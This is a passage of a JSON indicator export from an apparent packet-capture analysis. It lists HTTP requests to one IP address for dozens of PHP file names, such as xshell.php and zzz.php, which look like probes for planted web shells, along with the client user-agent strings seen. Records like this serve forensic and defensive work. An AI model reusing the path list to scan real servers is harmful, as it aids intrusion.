        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1782,
            "display_filter": "frame.number == 1782",
            "timestamp_epoch": "1577256185.800545000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-cda143b7631fb1f13f164893",
        "last_seen_epoch": "1577256185.800545000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256185.800545000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaoxia.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 424,
            "display_filter": "frame.number == 424",
            "timestamp_epoch": "1577255493.604627000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4892cb146bc180a275faf6a8",
        "last_seen_epoch": "1577255493.604627000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255493.604627000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaoyu.php",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1787,
            "display_filter": "frame.number == 1787",
            "timestamp_epoch": "1577256187.733988000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-9abb5c8d037761b6f1753e74",
        "last_seen_epoch": "1577256187.733988000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256187.733988000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiaxia.php",
        "evidence": [
          {
            "tcp_stream": 12,
            "frame_number": 488,
            "display_filter": "frame.number == 488",
            "timestamp_epoch": "1577255524.759416000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f6742ee8024d7ca85fe4d362",
        "last_seen_epoch": "1577255524.759416000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255524.759416000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xiu.php",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 544,
            "display_filter": "frame.number == 544",
            "timestamp_epoch": "1577255591.880762000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e2c127f6357f5f9576472494",
        "last_seen_epoch": "1577255591.880762000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255591.880762000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xp.php",
        "evidence": [
          {
            "tcp_stream": 54,
            "frame_number": 1648,
            "display_filter": "frame.number == 1648",
            "timestamp_epoch": "1577256127.254640000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1655,
            "display_filter": "frame.number == 1655",
            "timestamp_epoch": "1577256127.535630000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-df163f71a035bcc3cbac8e23",
        "last_seen_epoch": "1577256127.535630000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256127.254640000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xshell.php",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1087,
            "display_filter": "frame.number == 1087",
            "timestamp_epoch": "1577255813.739142000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4ee618068b7243f6897e59de",
        "last_seen_epoch": "1577255813.739142000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255813.739142000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xw.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 557,
            "display_filter": "frame.number == 557",
            "timestamp_epoch": "1577255599.605395000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-0150c9426c98a34ebf8c5813",
        "last_seen_epoch": "1577255599.605395000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255599.605395000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xw1.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 561,
            "display_filter": "frame.number == 561",
            "timestamp_epoch": "1577255599.883804000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e46f6652e3dee52da4d8557b",
        "last_seen_epoch": "1577255599.883804000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255599.883804000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xx.php",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 569,
            "display_filter": "frame.number == 569",
            "timestamp_epoch": "1577255602.561658000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 572,
            "display_filter": "frame.number == 572",
            "timestamp_epoch": "1577255604.561697000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8c6d91a137524d2ee3313baa",
        "last_seen_epoch": "1577255604.561697000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255602.561658000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xxx.php",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1565,
            "display_filter": "frame.number == 1565",
            "timestamp_epoch": "1577256081.871209000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b0d264624ed59aaf46c47e69",
        "last_seen_epoch": "1577256081.871209000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256081.871209000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xxxx.php",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1903,
            "display_filter": "frame.number == 1903",
            "timestamp_epoch": "1577256229.669398000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-b94fe9fbe9bb31fed7786034",
        "last_seen_epoch": "1577256229.669398000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256229.669398000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/xz.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1357,
            "display_filter": "frame.number == 1357",
            "timestamp_epoch": "1577255966.267348000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-43b6346501a70584178d6081",
        "last_seen_epoch": "1577255966.267348000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255966.267348000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/yao.php",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1132,
            "display_filter": "frame.number == 1132",
            "timestamp_epoch": "1577255827.767526000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-09358cf82ac08bde12df19a7",
        "last_seen_epoch": "1577255827.767526000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255827.767526000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/yj.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1734,
            "display_filter": "frame.number == 1734",
            "timestamp_epoch": "1577256151.084050000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-4fe77a02e45a1ff2a5e25402",
        "last_seen_epoch": "1577256151.084050000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256151.084050000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/yu.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 408,
            "display_filter": "frame.number == 408",
            "timestamp_epoch": "1577255487.003776000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f42b5bde247b6c89de439355",
        "last_seen_epoch": "1577255487.003776000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255487.003776000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/yumo.php",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1228,
            "display_filter": "frame.number == 1228",
            "timestamp_epoch": "1577255880.695199000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d0bbf7e5d32d6feb442e2807",
        "last_seen_epoch": "1577255880.695199000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255880.695199000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/yuyang.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 427,
            "display_filter": "frame.number == 427",
            "timestamp_epoch": "1577255494.894686000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-33bd934555d751ba2846301b",
        "last_seen_epoch": "1577255494.894686000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255494.894686000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/yyy.php",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 756,
            "display_filter": "frame.number == 756",
            "timestamp_epoch": "1577255684.448990000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-53826e0191ac8cfd396adcbe",
        "last_seen_epoch": "1577255684.448990000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255684.448990000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/z.php",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 136,
            "display_filter": "frame.number == 136",
            "timestamp_epoch": "1577255373.546580000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1571,
            "display_filter": "frame.number == 1571",
            "timestamp_epoch": "1577256082.406249000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1737,
            "display_filter": "frame.number == 1737",
            "timestamp_epoch": "1577256155.780227000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-06d7566dda8d943ed10229b3",
        "last_seen_epoch": "1577256155.780227000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255373.546580000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/ze.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 871,
            "display_filter": "frame.number == 871",
            "timestamp_epoch": "1577255753.765383000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-484bcb66125e59f9c7c427a5",
        "last_seen_epoch": "1577255753.765383000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255753.765383000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zhk.php",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 796,
            "display_filter": "frame.number == 796",
            "timestamp_epoch": "1577255706.971833000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f5a2a86198ba779a1131cf73",
        "last_seen_epoch": "1577255706.971833000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255706.971833000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zmp.php",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 854,
            "display_filter": "frame.number == 854",
            "timestamp_epoch": "1577255728.153679000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-bd28109eb486653adcab8d31",
        "last_seen_epoch": "1577255728.153679000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255728.153679000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zshmindex.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1370,
            "display_filter": "frame.number == 1370",
            "timestamp_epoch": "1577255971.154474000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-ce31ec542f947c4d8ffa9061",
        "last_seen_epoch": "1577255971.154474000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255971.154474000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zuo.php",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1180,
            "display_filter": "frame.number == 1180",
            "timestamp_epoch": "1577255859.934586000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-99bfb605667e5938a8231f10",
        "last_seen_epoch": "1577255859.934586000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255859.934586000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zuoindex.php",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1367,
            "display_filter": "frame.number == 1367",
            "timestamp_epoch": "1577255969.329710000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-3f3c831de2ef4c31d4a15024",
        "last_seen_epoch": "1577255969.329710000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255969.329710000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zuos.php",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1391,
            "display_filter": "frame.number == 1391",
            "timestamp_epoch": "1577255983.849111000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6198306b7fef1c2b56435f4d",
        "last_seen_epoch": "1577255983.849111000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255983.849111000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zuoshou.php",
        "evidence": [
          {
            "tcp_stream": 34,
            "frame_number": 1177,
            "display_filter": "frame.number == 1177",
            "timestamp_epoch": "1577255858.932731000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-08c7c42de606e6bf9ad13d93",
        "last_seen_epoch": "1577255858.932731000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255858.932731000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zuoshss.php",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1399,
            "display_filter": "frame.number == 1399",
            "timestamp_epoch": "1577255989.921922000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-d30c62e2a3f91cc1d76ac68e",
        "last_seen_epoch": "1577255989.921922000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255989.921922000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zuoss.php",
        "evidence": [
          {
            "tcp_stream": 45,
            "frame_number": 1396,
            "display_filter": "frame.number == 1396",
            "timestamp_epoch": "1577255988.279498000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-084b367cda0cb82e690a1050",
        "last_seen_epoch": "1577255988.279498000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255988.279498000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zz.php",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 431,
            "display_filter": "frame.number == 431",
            "timestamp_epoch": "1577255495.946535000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e6562503fabfa26765b46d8b",
        "last_seen_epoch": "1577255495.946535000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255495.946535000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zza.php",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 896,
            "display_filter": "frame.number == 896",
            "timestamp_epoch": "1577255761.064868000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f95b45c6403d27acc704d9f2",
        "last_seen_epoch": "1577255761.064868000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255761.064868000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zzk.php",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1716,
            "display_filter": "frame.number == 1716",
            "timestamp_epoch": "1577256144.844610000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e24c7fd462401a8ddf9a2eb8",
        "last_seen_epoch": "1577256144.844610000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256144.844610000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235/zzz.php",
        "evidence": [
          {
            "tcp_stream": 13,
            "frame_number": 500,
            "display_filter": "frame.number == 500",
            "timestamp_epoch": "1577255554.970744000"
          },
          {
            "tcp_stream": 28,
            "frame_number": 867,
            "display_filter": "frame.number == 867",
            "timestamp_epoch": "1577255749.817651000"
          },
          {
            "tcp_stream": 64,
            "frame_number": 1969,
            "display_filter": "frame.number == 1969",
            "timestamp_epoch": "1577256257.763611000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-44cc09c2c7fc0298f000da14",
        "last_seen_epoch": "1577256257.763611000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255554.970744000"
      },
      {
        "type": "url",
        "roles": [
          "http-request"
        ],
        "value": "http://128.199.64.235:80/webdav/",
        "evidence": [
          {
            "tcp_stream": 3,
            "frame_number": 68,
            "display_filter": "frame.number == 68",
            "timestamp_epoch": "1577255356.304538000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-e84ca66b6a5a920e4b3bfac5",
        "last_seen_epoch": "1577255356.304538000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255356.304538000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0",
        "evidence": [
          {
            "tcp_stream": 3,
            "frame_number": 68,
            "display_filter": "frame.number == 68",
            "timestamp_epoch": "1577255356.304538000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7f689922538bdf03d95ba117",
        "last_seen_epoch": "1577255356.304538000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255356.304538000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 21,
            "display_filter": "frame.number == 21",
            "timestamp_epoch": "1577255333.019833000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 25,
            "display_filter": "frame.number == 25",
            "timestamp_epoch": "1577255333.294663000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 28,
            "display_filter": "frame.number == 28",
            "timestamp_epoch": "1577255333.957025000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 31,
            "display_filter": "frame.number == 31",
            "timestamp_epoch": "1577255334.310821000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-dd8a5c81fdaa3b2889c70f73",
        "last_seen_epoch": "1577255334.310821000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255333.019833000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0",
        "evidence": [
          {
            "tcp_stream": 67,
            "frame_number": 2020,
            "display_filter": "frame.number == 2020",
            "timestamp_epoch": "1577256293.200087000"
          },
          {
            "tcp_stream": 68,
            "frame_number": 2031,
            "display_filter": "frame.number == 2031",
            "timestamp_epoch": "1577256304.170811000"
          },
          {
            "tcp_stream": 68,
            "frame_number": 2035,
            "display_filter": "frame.number == 2035",
            "timestamp_epoch": "1577256304.532786000"
          },
          {
            "tcp_stream": 68,
            "frame_number": 2038,
            "display_filter": "frame.number == 2038",
            "timestamp_epoch": "1577256305.855285000"
          },
          {
            "tcp_stream": 68,
            "frame_number": 2041,
            "display_filter": "frame.number == 2041",
            "timestamp_epoch": "1577256306.171632000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-135a2e9164239627d46cbcc7",
        "last_seen_epoch": "1577256306.171632000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256293.200087000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 547,
            "display_filter": "frame.number == 547",
            "timestamp_epoch": "1577255592.156709000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 557,
            "display_filter": "frame.number == 557",
            "timestamp_epoch": "1577255599.605395000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 561,
            "display_filter": "frame.number == 561",
            "timestamp_epoch": "1577255599.883804000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 564,
            "display_filter": "frame.number == 564",
            "timestamp_epoch": "1577255600.858894000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 567,
            "display_filter": "frame.number == 567",
            "timestamp_epoch": "1577255601.643251000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 569,
            "display_filter": "frame.number == 569",
            "timestamp_epoch": "1577255602.561658000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 572,
            "display_filter": "frame.number == 572",
            "timestamp_epoch": "1577255604.561697000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 575,
            "display_filter": "frame.number == 575",
            "timestamp_epoch": "1577255608.779678000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 578,
            "display_filter": "frame.number == 578",
            "timestamp_epoch": "1577255609.058608000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 581,
            "display_filter": "frame.number == 581",
            "timestamp_epoch": "1577255610.604642000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 585,
            "display_filter": "frame.number == 585",
            "timestamp_epoch": "1577255613.561890000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 588,
            "display_filter": "frame.number == 588",
            "timestamp_epoch": "1577255613.840418000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 591,
            "display_filter": "frame.number == 591",
            "timestamp_epoch": "1577255614.119116000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 594,
            "display_filter": "frame.number == 594",
            "timestamp_epoch": "1577255616.925040000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 598,
            "display_filter": "frame.number == 598",
            "timestamp_epoch": "1577255617.794802000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 601,
            "display_filter": "frame.number == 601",
            "timestamp_epoch": "1577255622.246182000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 605,
            "display_filter": "frame.number == 605",
            "timestamp_epoch": "1577255622.541671000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 608,
            "display_filter": "frame.number == 608",
            "timestamp_epoch": "1577255622.820069000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 611,
            "display_filter": "frame.number == 611",
            "timestamp_epoch": "1577255623.655459000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 614,
            "display_filter": "frame.number == 614",
            "timestamp_epoch": "1577255623.934209000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-6fae7904cb0593b0d5e1dce7",
        "last_seen_epoch": "1577256289.264662000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255592.156709000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2060,
            "display_filter": "frame.number == 2060",
            "timestamp_epoch": "1577256333.918483000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-8f9e7aaf2f525403ab0391a4",
        "last_seen_epoch": "1577256333.918483000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256333.918483000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 10,
            "display_filter": "frame.number == 10",
            "timestamp_epoch": "1577255332.202782000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 15,
            "display_filter": "frame.number == 15",
            "timestamp_epoch": "1577255332.482403000"
          },
          {
            "tcp_stream": 1,
            "frame_number": 18,
            "display_filter": "frame.number == 18",
            "timestamp_epoch": "1577255332.751059000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-1f22f31721478bcba808ca5f",
        "last_seen_epoch": "1577255332.751059000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255332.202782000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0",
        "evidence": [
          {
            "tcp_stream": 1,
            "frame_number": 34,
            "display_filter": "frame.number == 34",
            "timestamp_epoch": "1577255336.009530000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 44,
            "display_filter": "frame.number == 44",
            "timestamp_epoch": "1577255346.055130000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 48,
            "display_filter": "frame.number == 48",
            "timestamp_epoch": "1577255349.559043000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 52,
            "display_filter": "frame.number == 52",
            "timestamp_epoch": "1577255350.624382000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 55,
            "display_filter": "frame.number == 55",
            "timestamp_epoch": "1577255353.337526000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 58,
            "display_filter": "frame.number == 58",
            "timestamp_epoch": "1577255355.200791000"
          },
          {
            "tcp_stream": 2,
            "frame_number": 62,
            "display_filter": "frame.number == 62",
            "timestamp_epoch": "1577255355.468512000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-f8d53913d2d5c819d26f23f4",
        "last_seen_epoch": "1577255355.468512000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577255336.009530000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2420,
            "display_filter": "frame.number == 2420",
            "timestamp_epoch": "1577256450.983470000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-a28b1838c92d05bd60a5fdfa",
        "last_seen_epoch": "1577256450.983470000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256450.983470000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
        "evidence": [
          {
            "tcp_stream": 70,
            "frame_number": 2069,
            "display_filter": "frame.number == 2069",
            "timestamp_epoch": "1577256335.096977000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2072,
            "display_filter": "frame.number == 2072",
            "timestamp_epoch": "1577256336.022081000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2076,
            "display_filter": "frame.number == 2076",
            "timestamp_epoch": "1577256337.564523000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2079,
            "display_filter": "frame.number == 2079",
            "timestamp_epoch": "1577256337.926148000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2082,
            "display_filter": "frame.number == 2082",
            "timestamp_epoch": "1577256338.462650000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2085,
            "display_filter": "frame.number == 2085",
            "timestamp_epoch": "1577256339.246546000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2088,
            "display_filter": "frame.number == 2088",
            "timestamp_epoch": "1577256340.440832000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2091,
            "display_filter": "frame.number == 2091",
            "timestamp_epoch": "1577256341.737472000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2094,
            "display_filter": "frame.number == 2094",
            "timestamp_epoch": "1577256342.022273000"
          },
          {
            "tcp_stream": 70,
            "frame_number": 2097,
            "display_filter": "frame.number == 2097",
            "timestamp_epoch": "1577256342.271411000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2107,
            "display_filter": "frame.number == 2107",
            "timestamp_epoch": "1577256352.207530000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2111,
            "display_filter": "frame.number == 2111",
            "timestamp_epoch": "1577256352.593978000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2114,
            "display_filter": "frame.number == 2114",
            "timestamp_epoch": "1577256352.891018000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2117,
            "display_filter": "frame.number == 2117",
            "timestamp_epoch": "1577256353.229511000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2120,
            "display_filter": "frame.number == 2120",
            "timestamp_epoch": "1577256354.091481000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2123,
            "display_filter": "frame.number == 2123",
            "timestamp_epoch": "1577256355.020268000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2127,
            "display_filter": "frame.number == 2127",
            "timestamp_epoch": "1577256355.300657000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2130,
            "display_filter": "frame.number == 2130",
            "timestamp_epoch": "1577256356.265266000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2133,
            "display_filter": "frame.number == 2133",
            "timestamp_epoch": "1577256356.543171000"
          },
          {
            "tcp_stream": 71,
            "frame_number": 2136,
            "display_filter": "frame.number == 2136",
            "timestamp_epoch": "1577256358.091002000"
          }
        ],
        "is_private": null,
        "observable_id": "observable-7404c96314650c7e6670d8ad",
        "last_seen_epoch": "1577256450.716240000",
        "enrichment_state": "not_requested",
        "first_seen_epoch": "1577256335.096977000"
      },
      {
        "type": "user_agent",
        "roles": [
          "http-client"
        ],
        "value": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
        "evidence": [
          {
            "tcp_stream": 2,
            "frame_number": 75,
            "display_filter": "frame.number == 75",
            "timestamp_epoch": "1577255356.563321000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 85,
            "display_filter": "frame.number == 85",
            "timestamp_epoch": "1577255368.254905000"
          },
          {
            "tcp_stream": 4,
            "frame_number": 89,
            "display_filter": "frame.number == 89",
